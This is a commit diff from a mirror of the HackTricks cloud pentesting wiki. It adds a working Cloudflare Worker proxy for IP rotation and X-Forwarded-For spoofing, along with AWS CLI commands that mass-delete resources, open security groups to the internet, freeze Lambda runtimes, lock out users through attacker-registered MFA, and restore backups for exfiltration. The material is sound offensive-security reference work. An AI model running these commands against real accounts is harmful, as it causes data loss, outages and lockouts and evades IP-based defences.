mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-12 07:40:49 -08:00
Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud
This commit is contained in:
@@ -41,6 +41,7 @@
|
||||
- [Atlantis Security](pentesting-ci-cd/atlantis-security.md)
|
||||
- [Cloudflare Security](pentesting-ci-cd/cloudflare-security/README.md)
|
||||
- [Cloudflare Domains](pentesting-ci-cd/cloudflare-security/cloudflare-domains.md)
|
||||
- [Cloudflare Workers Pass Through Proxy Ip Rotation](pentesting-ci-cd/cloudflare-security/cloudflare-workers-pass-through-proxy-ip-rotation.md)
|
||||
- [Cloudflare Zero Trust Network](pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md)
|
||||
- [Okta Security](pentesting-ci-cd/okta-security/README.md)
|
||||
- [Okta Hardening](pentesting-ci-cd/okta-security/okta-hardening.md)
|
||||
@@ -303,6 +304,7 @@
|
||||
- [AWS - Apigateway Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc/README.md)
|
||||
- [AWS - AppRunner Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc/README.md)
|
||||
- [AWS - Chime Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc/README.md)
|
||||
- [AWS - CloudFront](pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudfront-privesc/README.md)
|
||||
- [AWS - Codebuild Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md)
|
||||
- [AWS - Codepipeline Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md)
|
||||
- [AWS - Codestar Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md)
|
||||
@@ -574,3 +576,6 @@
|
||||
|
||||
- [HackTricks Pentesting Network$$external:https://book.hacktricks.wiki/en/generic-methodologies-and-resources/pentesting-network/index.html$$]()
|
||||
- [HackTricks Pentesting Services$$external:https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ssh.html$$]()
|
||||
|
||||
- [Feature Store Poisoning](pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md)
|
||||
- [Aws Sqs Dlq Redrive Exfiltration](pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md)
|
||||
@@ -54,6 +54,12 @@ On each Cloudflare's worker check:
|
||||
> [!WARNING]
|
||||
> Note that by default a **Worker is given a URL** such as `<worker-name>.<account>.workers.dev`. The user can set it to a **subdomain** but you can always access it with that **original URL** if you know it.
|
||||
|
||||
For a practical abuse of Workers as pass-through proxies (IP rotation, FireProx-style), check:
|
||||
|
||||
{{#ref}}
|
||||
cloudflare-workers-pass-through-proxy-ip-rotation.md
|
||||
{{#endref}}
|
||||
|
||||
## R2
|
||||
|
||||
On each R2 bucket check:
|
||||
|
||||
@@ -0,0 +1,297 @@
|
||||
# Abusing Cloudflare Workers as pass-through proxies (IP rotation, FireProx-style)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Cloudflare Workers can be deployed as transparent HTTP pass-through proxies where the upstream target URL is supplied by the client. Requests egress from Cloudflare's network so the target observes Cloudflare IPs instead of the client's. This mirrors the well-known FireProx technique on AWS API Gateway, but uses Cloudflare Workers.
|
||||
|
||||
### Key capabilities
|
||||
- Support for all HTTP methods (GET, POST, PUT, DELETE, PATCH, OPTIONS, HEAD)
|
||||
- Target can be supplied via query parameter (?url=...), a header (X-Target-URL), or even encoded in the path (e.g., /https://target)
|
||||
- Headers and body are proxied through with hop-by-hop/header filtering as needed
|
||||
- Responses are relayed back, preserving status code and most headers
|
||||
- Optional spoofing of X-Forwarded-For (if the Worker sets it from a user-controlled header)
|
||||
- Extremely fast/easy rotation by deploying multiple Worker endpoints and fanning out requests
|
||||
|
||||
### How it works (flow)
|
||||
1) Client sends an HTTP request to a Worker URL (`<name>.<account>.workers.dev` or a custom domain route).
|
||||
2) Worker extracts the target from either a query parameter (?url=...), the X-Target-URL header, or a path segment if implemented.
|
||||
3) Worker forwards the incoming method, headers, and body to the specified upstream URL (filtering problematic headers).
|
||||
4) Upstream response is streamed back to the client through Cloudflare; the origin sees Cloudflare egress IPs.
|
||||
|
||||
### Worker implementation example
|
||||
- Reads target URL from query param, header, or path
|
||||
- Copies a safe subset of headers and forwards the original method/body
|
||||
- Optionally sets X-Forwarded-For using a user-controlled header (X-My-X-Forwarded-For) or a random IP
|
||||
- Adds permissive CORS and handles preflight
|
||||
|
||||
<details>
|
||||
<summary>Example Worker (JavaScript) for pass-through proxying</summary>
|
||||
|
||||
```javascript
|
||||
/**
|
||||
* Minimal Worker pass-through proxy
|
||||
* - Target URL from ?url=, X-Target-URL, or /https://...
|
||||
* - Proxies method/headers/body to upstream; relays response
|
||||
*/
|
||||
addEventListener('fetch', event => {
|
||||
event.respondWith(handleRequest(event.request))
|
||||
})
|
||||
|
||||
async function handleRequest(request) {
|
||||
try {
|
||||
const url = new URL(request.url)
|
||||
const targetUrl = getTargetUrl(url, request.headers)
|
||||
|
||||
if (!targetUrl) {
|
||||
return errorJSON('No target URL specified', 400, {
|
||||
usage: {
|
||||
query_param: '?url=https://example.com',
|
||||
header: 'X-Target-URL: https://example.com',
|
||||
path: '/https://example.com'
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
let target
|
||||
try { target = new URL(targetUrl) } catch (e) {
|
||||
return errorJSON('Invalid target URL', 400, { provided: targetUrl })
|
||||
}
|
||||
|
||||
// Forward original query params except control ones
|
||||
const passthru = new URLSearchParams()
|
||||
for (const [k, v] of url.searchParams) {
|
||||
if (!['url', '_cb', '_t'].includes(k)) passthru.append(k, v)
|
||||
}
|
||||
if (passthru.toString()) target.search = passthru.toString()
|
||||
|
||||
// Build proxied request
|
||||
const proxyReq = buildProxyRequest(request, target)
|
||||
const upstream = await fetch(proxyReq)
|
||||
|
||||
return buildProxyResponse(upstream, request.method)
|
||||
} catch (error) {
|
||||
return errorJSON('Proxy request failed', 500, {
|
||||
message: error.message,
|
||||
timestamp: new Date().toISOString()
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
function getTargetUrl(url, headers) {
|
||||
let t = url.searchParams.get('url') || headers.get('X-Target-URL')
|
||||
if (!t && url.pathname !== '/') {
|
||||
const p = url.pathname.slice(1)
|
||||
if (p.startsWith('http')) t = p
|
||||
}
|
||||
return t
|
||||
}
|
||||
|
||||
function buildProxyRequest(request, target) {
|
||||
const h = new Headers()
|
||||
const allow = [
|
||||
'accept','accept-language','accept-encoding','authorization',
|
||||
'cache-control','content-type','origin','referer','user-agent'
|
||||
]
|
||||
for (const [k, v] of request.headers) {
|
||||
if (allow.includes(k.toLowerCase())) h.set(k, v)
|
||||
}
|
||||
h.set('Host', target.hostname)
|
||||
|
||||
// Optional: spoof X-Forwarded-For if provided
|
||||
const spoof = request.headers.get('X-My-X-Forwarded-For')
|
||||
h.set('X-Forwarded-For', spoof || randomIP())
|
||||
|
||||
return new Request(target.toString(), {
|
||||
method: request.method,
|
||||
headers: h,
|
||||
body: ['GET','HEAD'].includes(request.method) ? null : request.body
|
||||
})
|
||||
}
|
||||
|
||||
function buildProxyResponse(resp, method) {
|
||||
const h = new Headers()
|
||||
for (const [k, v] of resp.headers) {
|
||||
if (!['content-encoding','content-length','transfer-encoding'].includes(k.toLowerCase())) {
|
||||
h.set(k, v)
|
||||
}
|
||||
}
|
||||
// Permissive CORS for tooling convenience
|
||||
h.set('Access-Control-Allow-Origin', '*')
|
||||
h.set('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE, OPTIONS, PATCH, HEAD')
|
||||
h.set('Access-Control-Allow-Headers', '*')
|
||||
|
||||
if (method === 'OPTIONS') return new Response(null, { status: 204, headers: h })
|
||||
return new Response(resp.body, { status: resp.status, statusText: resp.statusText, headers: h })
|
||||
}
|
||||
|
||||
function errorJSON(msg, status=400, extra={}) {
|
||||
return new Response(JSON.stringify({ error: msg, ...extra }), {
|
||||
status, headers: { 'Content-Type': 'application/json' }
|
||||
})
|
||||
}
|
||||
|
||||
function randomIP() { return [1,2,3,4].map(() => Math.floor(Math.random()*255)+1).join('.') }
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
### Automating deployment and rotation with FlareProx
|
||||
|
||||
FlareProx is a Python tool that uses the Cloudflare API to deploy many Worker endpoints and rotate across them. This provides FireProx-like IP rotation from Cloudflare’s network.
|
||||
|
||||
Setup
|
||||
1) Create a Cloudflare API Token using the “Edit Cloudflare Workers” template and get your Account ID from the dashboard.
|
||||
2) Configure FlareProx:
|
||||
|
||||
```bash
|
||||
git clone https://github.com/MrTurvey/flareprox
|
||||
cd flareprox
|
||||
pip install -r requirements.txt
|
||||
```
|
||||
|
||||
**Create config file flareprox.json:**
|
||||
|
||||
```json
|
||||
{
|
||||
"cloudflare": {
|
||||
"api_token": "your_cloudflare_api_token",
|
||||
"account_id": "your_cloudflare_account_id"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
**CLI usage**
|
||||
|
||||
- Create N Worker proxies:
|
||||
```bash
|
||||
python3 flareprox.py create --count 2
|
||||
```
|
||||
- List endpoints:
|
||||
```bash
|
||||
python3 flareprox.py list
|
||||
```
|
||||
- Health-test endpoints:
|
||||
```bash
|
||||
python3 flareprox.py test
|
||||
```
|
||||
- Delete all endpoints:
|
||||
```bash
|
||||
python3 flareprox.py cleanup
|
||||
```
|
||||
|
||||
**Routing traffic through a Worker**
|
||||
- Query parameter form:
|
||||
```bash
|
||||
curl "https://your-worker.account.workers.dev?url=https://httpbin.org/ip"
|
||||
```
|
||||
- Header form:
|
||||
```bash
|
||||
curl -H "X-Target-URL: https://httpbin.org/ip" https://your-worker.account.workers.dev
|
||||
```
|
||||
- Path form (if implemented):
|
||||
```bash
|
||||
curl https://your-worker.account.workers.dev/https://httpbin.org/ip
|
||||
```
|
||||
- Method examples:
|
||||
```bash
|
||||
# GET
|
||||
curl "https://your-worker.account.workers.dev?url=https://httpbin.org/get"
|
||||
|
||||
# POST (form)
|
||||
curl -X POST -d "username=admin" \
|
||||
"https://your-worker.account.workers.dev?url=https://httpbin.org/post"
|
||||
|
||||
# PUT (JSON)
|
||||
curl -X PUT -d '{"username":"admin"}' -H "Content-Type: application/json" \
|
||||
"https://your-worker.account.workers.dev?url=https://httpbin.org/put"
|
||||
|
||||
# DELETE
|
||||
curl -X DELETE \
|
||||
"https://your-worker.account.workers.dev?url=https://httpbin.org/delete"
|
||||
```
|
||||
|
||||
**`X-Forwarded-For` control**
|
||||
|
||||
If the Worker honors `X-My-X-Forwarded-For`, you can influence the upstream `X-Forwarded-For` value:
|
||||
```bash
|
||||
curl -H "X-My-X-Forwarded-For: 203.0.113.10" \
|
||||
"https://your-worker.account.workers.dev?url=https://httpbin.org/headers"
|
||||
```
|
||||
|
||||
**Programmatic usage**
|
||||
|
||||
Use the FlareProx library to create/list/test endpoints and route requests from Python.
|
||||
|
||||
<details>
|
||||
<summary>Python example: Send a POST via a random Worker endpoint</summary>
|
||||
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
from flareprox import FlareProx, FlareProxError
|
||||
import json
|
||||
|
||||
# Initialize
|
||||
flareprox = FlareProx(config_file="flareprox.json")
|
||||
if not flareprox.is_configured:
|
||||
print("FlareProx not configured. Run: python3 flareprox.py config")
|
||||
exit(1)
|
||||
|
||||
# Ensure endpoints exist
|
||||
endpoints = flareprox.sync_endpoints()
|
||||
if not endpoints:
|
||||
print("Creating proxy endpoints...")
|
||||
flareprox.create_proxies(count=2)
|
||||
|
||||
# Make a POST request through a random endpoint
|
||||
try:
|
||||
post_data = json.dumps({
|
||||
"username": "testuser",
|
||||
"message": "Hello from FlareProx!",
|
||||
"timestamp": "2025-01-01T12:00:00Z"
|
||||
})
|
||||
|
||||
headers = {
|
||||
"Content-Type": "application/json",
|
||||
"User-Agent": "FlareProx-Client/1.0"
|
||||
}
|
||||
|
||||
response = flareprox.redirect_request(
|
||||
target_url="https://httpbin.org/post",
|
||||
method="POST",
|
||||
headers=headers,
|
||||
data=post_data
|
||||
)
|
||||
|
||||
if response.status_code == 200:
|
||||
result = response.json()
|
||||
print("✓ POST successful via FlareProx")
|
||||
print(f"Origin IP: {result.get('origin', 'unknown')}")
|
||||
print(f"Posted data: {result.get('json', {})}")
|
||||
else:
|
||||
print(f"Request failed with status: {response.status_code}")
|
||||
|
||||
except FlareProxError as e:
|
||||
print(f"FlareProx error: {e}")
|
||||
except Exception as e:
|
||||
print(f"Request error: {e}")
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
**Burp/Scanner integration**
|
||||
- Point tooling (for example, Burp Suite) at the Worker URL.
|
||||
- Supply the real upstream using ?url= or X-Target-URL.
|
||||
- HTTP semantics (methods/headers/body) are preserved while masking your source IP behind Cloudflare.
|
||||
|
||||
**Operational notes and limits**
|
||||
- Cloudflare Workers Free plan allows roughly 100,000 requests/day per account; use multiple endpoints to distribute traffic if needed.
|
||||
- Workers run on Cloudflare’s network; many targets will only see Cloudflare IPs/ASN, which can bypass naive IP allow/deny lists or geo heuristics.
|
||||
- Use responsibly and only with authorization. Respect ToS and robots.txt.
|
||||
|
||||
## References
|
||||
- [FlareProx (Cloudflare Workers pass-through/rotation)](https://github.com/MrTurvey/flareprox)
|
||||
- [Cloudflare Workers fetch() API](https://developers.cloudflare.com/workers/runtime-apis/fetch/)
|
||||
- [Cloudflare Workers pricing and free tier](https://developers.cloudflare.com/workers/platform/pricing/)
|
||||
- [FireProx (AWS API Gateway)](https://github.com/ustayready/fireprox)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
@@ -87,6 +87,54 @@ This is stealthier than exposing a Function URL and doesn’t change the primary
|
||||
aws-lambda-alias-version-policy-backdoor.md
|
||||
{{#endref}}
|
||||
|
||||
### Freezing AWS Lambda Runtimes
|
||||
|
||||
An attacker who has lambda:InvokeFunction, logs:FilterLogEvents, lambda:PutRuntimeManagementConfig, and lambda:GetRuntimeManagementConfig permissions can modify a function’s runtime management configuration. This attack is especially effective when the goal is to keep a Lambda function on a vulnerable runtime version or to preserve compatibility with malicious layers that might be incompatible with newer runtimes.
|
||||
|
||||
The attacker modifies the runtime management configuration to pin the runtime version:
|
||||
|
||||
```bash
|
||||
# Invoke the function to generate runtime logs
|
||||
aws lambda invoke \
|
||||
--function-name $TARGET_FN \
|
||||
--payload '{}' \
|
||||
--region us-east-1 /tmp/ping.json
|
||||
|
||||
sleep 5
|
||||
|
||||
# Freeze automatic runtime updates on function update
|
||||
aws lambda put-runtime-management-config \
|
||||
--function-name $TARGET_FN \
|
||||
--update-runtime-on FunctionUpdate \
|
||||
--region us-east-1
|
||||
```
|
||||
|
||||
Verify the applied configuration:
|
||||
```bash
|
||||
aws lambda get-runtime-management-config \
|
||||
--function-name $TARGET_FN \
|
||||
--region us-east-1
|
||||
```
|
||||
|
||||
Optional: Pin to a specific runtime version
|
||||
```bash
|
||||
# Extract Runtime Version ARN from INIT_START logs
|
||||
RUNTIME_ARN=$(aws logs filter-log-events \
|
||||
--log-group-name /aws/lambda/$TARGET_FN \
|
||||
--filter-pattern "INIT_START" \
|
||||
--query 'events[0].message' \
|
||||
--output text | grep -o 'Runtime Version ARN: [^,]*' | cut -d' ' -f4)
|
||||
```
|
||||
|
||||
Pin to a specific runtime version:
|
||||
|
||||
```bash
|
||||
aws lambda put-runtime-management-config \
|
||||
--function-name $TARGET_FN \
|
||||
--update-runtime-on Manual \
|
||||
--runtime-version-arn $RUNTIME_ARN \
|
||||
--region us-east-1
|
||||
```
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
@@ -10,6 +10,17 @@ For more information check:
|
||||
../../aws-services/aws-cloudfront-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `cloudfront:Delete*`
|
||||
An attacker granted cloudfront:Delete* can delete distributions, policies and other critical CDN configuration objects — for example distributions, cache/origin policies, key groups, origin access identities, functions/configs, and related resources. This can cause service disruption, content loss, and removal of configuration or forensic artifacts.
|
||||
|
||||
To delete a distribution an attacker could use:
|
||||
|
||||
```bash
|
||||
aws cloudfront delete-distribution \
|
||||
--id <DISTRIBUTION_ID> \
|
||||
--if-match <ETAG>
|
||||
```
|
||||
|
||||
### Man-in-the-Middle
|
||||
|
||||
This [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) proposes a couple of different scenarios where a **Lambda** could be added (or modified if it's already being used) into a **communication through CloudFront** with the purpose of **stealing** user information (like the session **cookie**) and **modifying** the **response** (injecting a malicious JS script).
|
||||
|
||||
@@ -588,6 +588,51 @@ aws kinesis delete-stream --stream-name htx-ddb-exfil --enforce-consumer-deletio
|
||||
aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true
|
||||
```
|
||||
|
||||
### `dynamodb:UpdateTimeToLive`
|
||||
|
||||
An attacker with the dynamodb:UpdateTimeToLive permission can change a table’s TTL (time-to-live) configuration — enabling or disabling TTL. When TTL is enabled, individual items that contain the configured TTL attribute will be automatically deleted once their expiration time is reached. The TTL value is just another attribute on each item; items without that attribute are not affected by TTL-based deletion.
|
||||
|
||||
If items do not already contain the TTL attribute, the attacker would also need a permission that updates items (for example dynamodb:UpdateItem) to add the TTL attribute and trigger mass deletions.
|
||||
|
||||
First enable TTL on the table, specifying the attribute name to use for expiration:
|
||||
|
||||
```bash
|
||||
aws dynamodb update-time-to-live \
|
||||
--table-name <TABLE_NAME> \
|
||||
--time-to-live-specification "Enabled=true, AttributeName=<TTL_ATTRIBUTE_NAME>"
|
||||
```
|
||||
|
||||
Then update items to add the TTL attribute (epoch seconds) so they will expire and be removed:
|
||||
|
||||
```bash
|
||||
aws dynamodb update-item \
|
||||
--table-name <TABLE_NAME> \
|
||||
--key '<PRIMARY_KEY_JSON>' \
|
||||
--update-expression "SET <TTL_ATTRIBUTE_NAME> = :t" \
|
||||
--expression-attribute-values '{":t":{"N":"<EPOCH_SECONDS_VALUE>"}}'
|
||||
```
|
||||
|
||||
### `dynamodb:RestoreTableFromAwsBackup` & `dynamodb:RestoreTableToPointInTime`
|
||||
|
||||
An attacker with dynamodb:RestoreTableFromAwsBackup or dynamodb:RestoreTableToPointInTime permissions can create new tables restored from backups or from point-in-time recovery (PITR) without overwriting the original table. The restored table contains a full image of the data at the selected point, so the attacker can use it to exfiltrate historical information or obtain a complete dump of the database’s past state.
|
||||
|
||||
Restore a DynamoDB table from an on-demand backup:
|
||||
|
||||
```bash
|
||||
aws dynamodb restore-table-from-backup \
|
||||
--target-table-name <NEW_TABLE_NAME> \
|
||||
--backup-arn <BACKUP_ARN>
|
||||
```
|
||||
|
||||
Restore a DynamoDB table to a point in time (create a new table with the restored state):
|
||||
|
||||
```bash
|
||||
aws dynamodb restore-table-to-point-in-time \
|
||||
--source-table-name <SOURCE_TABLE_NAME> \
|
||||
--target-table-name <NEW_TABLE_NAME> \
|
||||
--use-latest-restorable-time
|
||||
````
|
||||
|
||||
</details>
|
||||
|
||||
**Potential Impact:** Continuous, near real-time exfiltration of table changes to an attacker-controlled Kinesis stream without direct read operations on the table.
|
||||
|
||||
@@ -114,6 +114,36 @@ Create gateway or interface VPC endpoints to regain outbound access from isolate
|
||||
aws-vpc-endpoint-egress-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
### `ec2:AuthorizeSecurityGroupIngress`
|
||||
|
||||
An attacker with the ec2:AuthorizeSecurityGroupIngress permission can add inbound rules to security groups (for example, allowing tcp:80 from 0.0.0.0/0), thereby exposing internal services to the public Internet or to otherwise unauthorized networks.
|
||||
|
||||
```bash
|
||||
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
|
||||
```
|
||||
|
||||
# `ec2:ReplaceNetworkAclEntry`
|
||||
An attacker with ec2:ReplaceNetworkAclEntry (or similar) permissions can modify a subnet’s Network ACLs (NACLs) to make them very permissive — for example allowing 0.0.0.0/0 on critical ports — exposing the entire subnet range to the Internet or to unauthorized network segments. Unlike Security Groups, which are applied per-instance, NACLs are applied at the subnet level, so changing a restrictive NACL can have a much larger blast radius by enabling access to many more hosts.
|
||||
|
||||
```bash
|
||||
aws ec2 replace-network-acl-entry \
|
||||
--network-acl-id <ACL_ID> \
|
||||
--rule-number 100 \
|
||||
--protocol <PROTOCOL> \
|
||||
--rule-action allow \
|
||||
--egress <true|false> \
|
||||
--cidr-block 0.0.0.0/0
|
||||
```
|
||||
|
||||
### `ec2:Delete*`
|
||||
|
||||
An attacker with ec2:Delete* and iam:Remove* permissions can delete critical infrastructure resources and configurations — for example key pairs, launch templates/versions, AMIs/snapshots, volumes or attachments, security groups or rules, ENIs/network endpoints, route tables, gateways, or managed endpoints. This can cause immediate service disruption, data loss, and loss of forensic evidence.
|
||||
|
||||
One example is deleting a security group:
|
||||
|
||||
aws ec2 delete-security-group \
|
||||
--group-id <SECURITY_GROUP_ID>
|
||||
|
||||
### VPC Flow Logs Cross-Account Exfiltration
|
||||
|
||||
Point VPC Flow Logs to an attacker-controlled S3 bucket to continuously collect network metadata (source/destination, ports) outside the victim account for long-term reconnaissance.
|
||||
|
||||
@@ -181,6 +181,36 @@ aws iam update-server-certificate \
|
||||
--new-path /prod/
|
||||
```
|
||||
|
||||
### `iam:Delete*`
|
||||
|
||||
The IAM wildcard iam:Delete* grants the ability to remove many kinds of IAM resources—users, roles, groups, policies, keys, certificates, MFA devices, policy versions, etc. —and therefore has a very high blast radius: an actor granted iam:Delete* can permanently destroy identities, credentials, policies and related artifacts, remove audit/evidence, and cause service or operational outages. Some examples are
|
||||
|
||||
```bash
|
||||
# Delete a user
|
||||
aws iam delete-user --user-name <Username>
|
||||
|
||||
# Delete a role
|
||||
aws iam delete-role --role-name <RoleName>
|
||||
|
||||
# Delete a managed policy
|
||||
aws iam delete-policy --policy-arn arn:aws:iam::<ACCOUNT_ID>:policy/<PolicyName>
|
||||
```
|
||||
|
||||
### `iam:EnableMFADevice`
|
||||
|
||||
An actor granted the iam:EnableMFADevice action can register an MFA device on an identity in the account, provided the user did not already have one enabled. This can be used to interfere with a user’s access: once an attacker registers an MFA device, the legitimate user may be prevented from signing in because they do not control the attacker-registered MFA.
|
||||
|
||||
This denial-of-access attack only works if the user had no MFA registered; if the attacker registers an MFA device for that user, the legitimate user will be locked out of any flows that require that new MFA. If the user already has one or more MFA devices under their control, adding an attacker-controlled MFA does not block the legitimate user — they can continue to authenticate using any MFA they already have.
|
||||
|
||||
To enable (register) an MFA device for a user an attacker could run:
|
||||
```bash
|
||||
aws iam enable-mfa-device \
|
||||
--user-name <Username> \
|
||||
--serial-number arn:aws:iam::111122223333:mfa/alice \
|
||||
--authentication-code1 123456 \
|
||||
--authentication-code2 789012
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
- [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html)
|
||||
|
||||
@@ -16,6 +16,14 @@ Lambda uses environment variables to inject credentials at runtime. If you can g
|
||||
|
||||
By default, these will have access to write to a cloudwatch log group (the name of which is stored in `AWS_LAMBDA_LOG_GROUP_NAME`), as well as to create arbitrary log groups, however lambda functions frequently have more permissions assigned based on their intended use.
|
||||
|
||||
### `lambda:Delete*`
|
||||
An attacker granted lambda:Delete* can delete Lambda functions, versions/aliases, layers, event source mappings and other associated configurations.
|
||||
|
||||
```bash
|
||||
aws lambda delete-function \
|
||||
--function-name <LAMBDA_NAME>
|
||||
```
|
||||
|
||||
### Steal Others Lambda URL Requests
|
||||
|
||||
If an attacker somehow manage to get RCE inside a Lambda he will be able to steal other users HTTP requests to the lambda. If the requests contain sensitive information (cookies, credentials...) he will be able to steal them.
|
||||
|
||||
@@ -40,6 +40,48 @@ aws rds modify-db-instance \
|
||||
# Connect to the new DB after a few mins
|
||||
```
|
||||
|
||||
### `rds:StopDBCluster` & `rds:StopDBInstance`
|
||||
An attacker with rds:StopDBCluster or rds:StopDBInstance can force an immediate stop of an RDS instance or an entire cluster, causing database unavailability, broken connections, and interruption of processes that depend on the database.
|
||||
|
||||
To stop a single DB instance (example):
|
||||
|
||||
```bash
|
||||
aws rds stop-db-instance \
|
||||
--db-instance-identifier <DB_INSTANCE_IDENTIFIER>
|
||||
```
|
||||
|
||||
To stop an entire DB cluster (example):
|
||||
|
||||
```bash
|
||||
aws rds stop-db-cluster \
|
||||
--db-cluster-identifier <DB_CLUSTER_IDENTIFIER>
|
||||
```
|
||||
|
||||
### `rds:Delete*`
|
||||
|
||||
An attacker granted rds:Delete* can remove RDS resources, deleting DB instances, clusters, snapshots, automated backups, subnet groups, parameter/option groups and related artifacts, causing immediate service outage, data loss, destruction of recovery points and loss of forensic evidence.
|
||||
|
||||
```bash
|
||||
# Delete a DB instance (creates a final snapshot unless you skip it)
|
||||
aws rds delete-db-instance \
|
||||
--db-instance-identifier <DB_INSTANCE_ID> \
|
||||
--final-db-snapshot-identifier <FINAL_SNAPSHOT_ID> # omit or replace with --skip-final-snapshot to avoid snapshot
|
||||
|
||||
# Delete a DB instance and skip final snapshot (more destructive)
|
||||
aws rds delete-db-instance \
|
||||
--db-instance-identifier <DB_INSTANCE_ID> \
|
||||
--skip-final-snapshot
|
||||
|
||||
# Delete a manual DB snapshot
|
||||
aws rds delete-db-snapshot \
|
||||
--db-snapshot-identifier <DB_SNAPSHOT_ID>
|
||||
|
||||
# Delete an Aurora DB cluster (creates a final snapshot unless you skip)
|
||||
aws rds delete-db-cluster \
|
||||
--db-cluster-identifier <DB_CLUSTER_ID> \
|
||||
--final-db-snapshot-identifier <FINAL_CLUSTER_SNAPSHOT_ID> # or use --skip-final-snapshot
|
||||
```
|
||||
|
||||
### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot`
|
||||
|
||||
An attacker with these permissions could **create an snapshot of a DB** and make it **publicly** **available**. Then, he could just create in his own account a DB from that snapshot.
|
||||
|
||||
@@ -33,6 +33,43 @@ To add further pressure, the attacker schedules the deletion of the KMS key used
|
||||
|
||||
Finally, the attacker could upload a final file, usually named "ransom-note.txt," which contains instructions for the target on how to retrieve their files. This file is uploaded without encryption, likely to catch the target's attention and make them aware of the ransomware attack.
|
||||
|
||||
### `s3:RestoreObject`
|
||||
|
||||
An attacker with the s3:RestoreObject permission can reactivate objects archived in Glacier or Deep Archive, making them temporarily accessible. This enables recovery and exfiltration of historically archived data (backups, snapshots, logs, certifications, old secrets) that would normally be out of reach. If the attacker combines this permission with read permissions (e.g., s3:GetObject), they can obtain full copies of sensitive data.
|
||||
|
||||
```bash
|
||||
aws s3api restore-object \
|
||||
--bucket <BUCKET_NAME> \
|
||||
--key <OBJECT_KEY> \
|
||||
--restore-request '{
|
||||
"Days": <NUMBER_OF_DAYS>,
|
||||
"GlacierJobParameters": { "Tier": "Standard" }
|
||||
}'
|
||||
```
|
||||
|
||||
### `s3:Delete*`
|
||||
|
||||
An attacker with the s3:Delete* permission can delete objects, versions, and entire buckets, disrupt backups, and cause immediate and irreversible data loss, destruction of evidence, and compromise of backup or recovery artifacts.
|
||||
|
||||
```bash
|
||||
# Delete an object from a bucket
|
||||
aws s3api delete-object \
|
||||
--bucket <BUCKET_NAME> \
|
||||
--key <OBJECT_KEY>
|
||||
|
||||
# Delete a specific version
|
||||
aws s3api delete-object \
|
||||
--bucket <BUCKET_NAME> \
|
||||
--key <OBJECT_KEY> \
|
||||
--version-id <VERSION_ID>
|
||||
|
||||
# Delete a bucket
|
||||
aws s3api delete-bucket \
|
||||
--bucket <BUCKET_NAME>
|
||||
```
|
||||
|
||||
|
||||
|
||||
**For more info** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -200,4 +200,5 @@ Abuse `sagemaker:PutRecord` on a Feature Group with OnlineStore enabled to overw
|
||||
|
||||
{{#ref}}
|
||||
feature-store-poisoning.md
|
||||
{{/ref}}
|
||||
{{/ref}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,6 +1,8 @@
|
||||
# SageMaker Feature Store online store poisoning
|
||||
|
||||
Abuse `sagemaker:PutRecord` on a Feature Group with OnlineStore enabled to overwrite live feature values consumed by online inference. Combined with `sagemaker:GetRecord`, an attacker can read sensitive features and exfiltrate confidential ML data. This does not require access to models or endpoints, making it a direct data-layer attack.
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Abuse `sagemaker:PutRecord` on a Feature Group with OnlineStore enabled to overwrite live feature values consumed by online inference. Combined with `sagemaker:GetRecord`, an attacker can read sensitive features. This does not require access to models or endpoints.
|
||||
|
||||
## Requirements
|
||||
- Permissions: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord`
|
||||
@@ -153,21 +155,6 @@ fi
|
||||
echo "Feature Group ready: $FG"
|
||||
```
|
||||
|
||||
|
||||
## Detection
|
||||
|
||||
Monitor CloudTrail for suspicious patterns:
|
||||
- `PutRecord` events from unusual IAM principals or IP addresses
|
||||
- High frequency `PutRecord` or `GetRecord` calls
|
||||
- `PutRecord` with anomalous feature values (e.g., risk_score outside normal range)
|
||||
- Bulk `GetRecord` operations indicating mass exfiltration
|
||||
- Access outside normal business hours or from unexpected locations
|
||||
|
||||
Implement anomaly detection:
|
||||
- Feature value validation (e.g., risk_score must be 0.0-1.0)
|
||||
